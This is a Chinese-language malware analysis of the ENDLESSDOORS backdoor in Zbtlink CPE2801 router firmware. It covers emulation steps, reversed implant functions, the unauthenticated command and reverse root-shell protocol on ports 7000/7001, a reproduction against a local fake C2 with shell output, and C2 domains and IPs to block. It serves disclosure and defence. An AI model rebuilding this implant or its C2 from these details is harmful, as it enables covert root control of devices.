Endlessdoors后门事件详细分析之 - Zbtlink路由器 后门分析
漏洞概述
该固件出厂即内置了 ENDLESSDOORS 远控植入体。设备一旦启动,它便以 root 权限伪装成 kworker 内核线程常驻运行——全程不监听任何本地端口,因此常规端口扫描、入站防火墙规则都发现不了它。相反,植入体会周期性地主动向硬编码的 C2 服务器发起一条未认证、未加密的 TCP 连接:端口 7000 作命令通道,端口 7001 作交互式 shell 回连。
收到指令后,植入体直接以 root 身份调用 popen() 执行任意命令并回传结果;其中一条特殊指令 rctlbash 会当场拉起一个完整的交互式 root shell。由于整条信道全程零认证,任何能够触达该 C2 地址、劫持设备 DNS/路由,或掌握其备用域名的一方,都能向设备下发命令、直接拿到完全 root 权限。而"设备主动外联"这一特性,更让 NAT 与防火墙形同虚设。
一、信息收集
从Zbtlink官网下载对应固件。
1.1 binwalk
binwalk -E // 先观察是否加密,如果整个固件被加密,熵值应该普遍接近 1.0,这里应该是没有

binwalk -Me // 提取出文件系统,是squashFS文件系统共
1.2 查看架构以及保护
file ./bin/busybox
checksec ./bin/busybox

判断是 mips32 位 小端序 的架构
1.3 启动项分析
进入到 ./etc/init.d 中我们发现 有个 uhttpd 文件


然后在 /etc/config 中找到了 uhttpd 进去观察

从这里可以得知 其文档的根目录www 且 HTTP 请求路径 /ubus 需要 转发到 ubusd 的 Unix socket , 以及开启些必要服务
# 1. 启动系统基础
/etc/init.d/boot start # 挂载文件系统、创建设备节点
# 2. 启动系统服务
/etc/init.d/system start # 系统配置
# 3. 配置网络
/etc/init.d/network start # 初始化网络接口
# 4. 启动 ubus(系统总线,关键!)
# ubusd 通常在 boot 阶段启动,检查是否运行
busybox ps | grep ubusd
# 5. 启动 Web 服务器
/etc/init.d/uhttpd start
1.4 ubusd
ubusd(通用总线守护进程)— OpenWrt 的系统消息总线
在做 chroot 仿真时,ubusd是必须第一个启动的进程。因为所有其他服务(boot、uhttpd...)启动时都会尝试连接 /var/run/ubus.sock

而 boot 文件下带有很多的运行所需的相关文件
所以模拟的大致流程就是 ubusd → boot → uhttpd
二、固件模拟
cp $(which qemu-mipsel-static) ./
先进行挂载
sudo mount --bind /proc proc
sudo mount --bind /sys sys
sudo mount --bind /dev dev
sudo chroot ./ ./qemu-mipsel-static ./bin/busybox sh
rm -rf /var
rm -rf /tmp
mkdir -p /var/run
mkdir -p /var/log
mkdir -p /var/lock
mkdir -p /var/state
mkdir -p /tmp
chmod 777 tmp
./etc/init.d/boot start
./etc/init.d/system start
./etc/init.d/network start
busybox ps | grep ubusd
./etc/init.d/uhttpd start

尝试运行发现缺失 ubus,启动 ubus
./sbin/ubusd > /tmp/ubusd.log 2>&1 &
运行后出现 ubus.sock文件

uhttpd_ubus 插件需要它转发 /ubus 请求

./etc/init.d/uhttpd start
./usr/sbin/uhttpd -f -h /www -p 0.0.0.0:8080 // 设置端口为8080
浏览器进行访问,以默认密码 admin 登录

三、漏洞分析
目标:squashfs-root/usr/sbin/kworker(ENDLESSDOORS 植入体,rctl 定制版,MIPS32el/mips16,无节头但符号表残留,函数名可直接看到 rctllink/bashfrom/ssend_cmd 等)。
3.1 静态逆向
逆向结论(关键函数与地址):
| 函数 | 地址 | 行为 |
|---|---|---|
main | 0x4019a0 | open("/var/run/kworker.pid") + flock 保证单实例(已有实例则静默退出,退出码 0);随后 rctl() → daemon(0,0) → pause() |
_rctl (sub_4033E8) | 0x4033e8 | 构造 39 字节注册包:strncpy(class, 0x21) 取 33 字节类别标签,再 socket+ioctl(SIOCGIFHWADDR=0x8927) 取 wan 口 MAC 追加 6 字节;随后 pthread_create 拉起工作线程 |
rctllink | 0x402e68 | 主循环:gethostbyname(server) → connect 端口 7000(失败 sleep(30) 重试,并尝试 super 备选 online-string.com);连接成功后 Send(fd, 注册包, 0x27);之后循环 srecv_cmd 收命令 |
srecv_cmd | 0x404750 | 命令帧格式:4 字节大端长度(ntohl)+ 命令字符串 |
| 命令分发 | 0x4032ea | printf("cmd: %s") → strcmp(cmd, "rctlbash"):相等则 bashfrom();否则 strncat(cmd, " 2>&1") 后 popen(cmd, "r") 直接以 root 执行(0x402fac),fread 回显经 Send 裸发回,末尾补 exec success: %s / exec fail: %s |
bashfrom | 0x4039b0 | fork → 屏蔽信号 → posix_openpt/grantpt/unlockpt/ptsname 建 PTY → 把控制连接的对端 sockaddr 端口改为 htons(bashport=7001) → connect 回连(0x403cce)→ setsid → open(pts) → dup2 0/1/2 → execlp("/bin/sh"),即交互式 root shell |
配置解析为 gengetopt:-f(默认 /etc/kworker.cfg)、-w wan(默认 eth0)、-c class、-s server、--super(默认 online-string.com)、--port(默认 7000)、--bashport(默认 7001)、-d debug、--daemon。本固件 etc/kworker.cfg 内容为 class="LK826-WD"、server="zbtctl.epplink.net",协议词汇表确实只有两条:"以 root 跑这条命令" 和 "给我一个 root shell",全程零认证
main

_rctl

rctllink

Send(fd, 注册包, 0x27) 之后循环 srecv_cmd 收命令

sercvc_md

命令分布

fread回显经Send裸发回,末尾补exec success: %s/exec fail: %s

bashfrom
fork派生一个子进程

将部分信号加入屏蔽掩码 防止过程中收到 HUP(信号) 被终止

posix_openpt/grantpt/unlockpt/ptsname 建 PTY




把控制连接的对端 sockaddr 端口改为 htons(bashport=7001) connect 回连(0x403cce)

setsid 创建新会话

open(pts)打开 slave 端

dup2 0/1/2 重定向标准流
execlp("/bin/sh"),即交互式 root shell

3.2 动态复现(QEMU 用户态 + 伪造C2)
伪造 C2 脚本 fake_c2.py:监听 7000/7001
C2 下发命令后 fork()+exec() 产生的子进程,父子都改名伪装成 kworker
kworker 与 C2 之间使用 自定义 TCP 二进制协议:
<客户端注册>
kworker → C2: [class名称 + MAC地址](二进制格式)
收 39 字节注册包并解析 class/MAC
<命令下发格式>
C2 → kworker: [4字节 BE 长度] [命令字符串]
下发 `id`、`cat /etc/os-release`
<响应格式>
kworker → C2: [4字节 BE 长度] [执行结果]
最后发 `rctlbash` 接收 7001 反弹 shell 并自动敲几条命令留证
依据上面流程构造 fake_c2.py(比较简单且冗长,就此带过)
python3 fake_c2.py # 先启动
植入端启动(无需 sudo,用 user namespace 代替 chroot 特权):
cd _CPE2801_V22.10.09.bin.extracted/squashfs-root
# 1. 把 C2 域名指到本地(qemu 用户态网络直通宿主机,DNS 走 chroot 内 /etc/hosts)
echo '127.0.0.1 zbtctl.epplink.net' >> etc/hosts
# 2. devpts 必须新建实例并把新实例的 ptmx 绑到 dev/ptmx,
# 否则 posix_openpt 报 ENOENT,rctlbash 反弹 shell 起不来(本次复现最大的坑)
unshare -rm sh -c '
mount --bind /dev/null dev/null; mount --bind /dev/urandom dev/urandom
mkdir -p dev/pts
mount -t devpts -o newinstance,ptmxmode=0666,mode=0620 devpts dev/pts
mount --bind dev/pts/ptmx dev/ptmx
export LD_PRELOAD=/lib/nodaemon.so
chroot . ./qemu-mipsel-static /usr/sbin/kworker -d 7'

nodaemon.so 用 ~/Tools/toolchains/mips32el--musl--stable-2024.02-1 里的交叉 gcc 编译,内容就是 int daemon(int a,int b){return 0;} 加一个把 syslog 转到 stderr ,已放在 squashfs-root/lib/。不加它也能跑,只是进程 daemonize 后日志不可见,且会脱离命名空间残留在宿主机上(unshare 没建 pid ns),复现完记得 ps aux | grep qemu-mipsel 清理,否则 flock 被占,后续实例全部静默退出
复现结果(fake_c2.py 输出):
[+] 植入端连接: 127.0.0.1:55078
[+] 注册包(39 字节): class='LK826-WD' mac=00:0c:29:7c:13:35
[*] 下发命令: 'id'
[+] 回显:
uid=0(root) gid=0(root) groups=...,0(root)
[*] 下发 rctlbash, 触发反弹 shell ...
[+] 反弹 shell 来自 127.0.0.1:49968 (PTY + /bin/sh, uid=0)
/ # id
uid=0(root) gid=0(root) groups=0(root)
/ # uname -a
Linux iotseczone 6.8.0-136-generic ... mips GNU/Linux
/ # cat /etc/kworker.cfg
wan= "ens33"
class= "LK826-WD"
server= "zbtctl.epplink.net"


植入端 -d 7 调试日志同步印证了协议全流程:
rctl.c +93 r_connect(): DEBUG: Try 127.0.0.1 port: 7000
rctl.c +97 r_connect(): DEBUG: connect success
common.c +125 srecv_cmd(): DEBUG: recv command: id
common.c +125 srecv_cmd(): DEBUG: recv command: rctlbash
bash.c +54 bashfd(): DEBUG: connect success <- 回连 7001 成功





3.3 结论
- CPE2801 V22.10.09 固件实锤内置 ENDLESSDOORS 后门:
/usr/sbin/kworker+/usr/lib/librctl.so+/etc/kworker.cfg+/etc/init.d/skworker四件套齐全,主 C2 为zbtctl.epplink.net,与 VulnCheck 报告一致(CVE-2026-66747) - 攻击者只要能控制 C2 域名解析/网络路径(或厂商基础设施本身),即可对全网该型号设备远程以 root 执行任意命令或拿交互式 shell;设备主动外联,NAT/防火墙无效
- 无修复固件。处置:按型号清点资产;出口/DNS 封禁
zbtctl.epplink.net、online-string.com、rbdg4nzqadui.wikaba.com、47.100.190.96、47.107.224.89、45.32.81.152、43.248.136.125;对 7000/7001 出站告警;建议直接更换设备
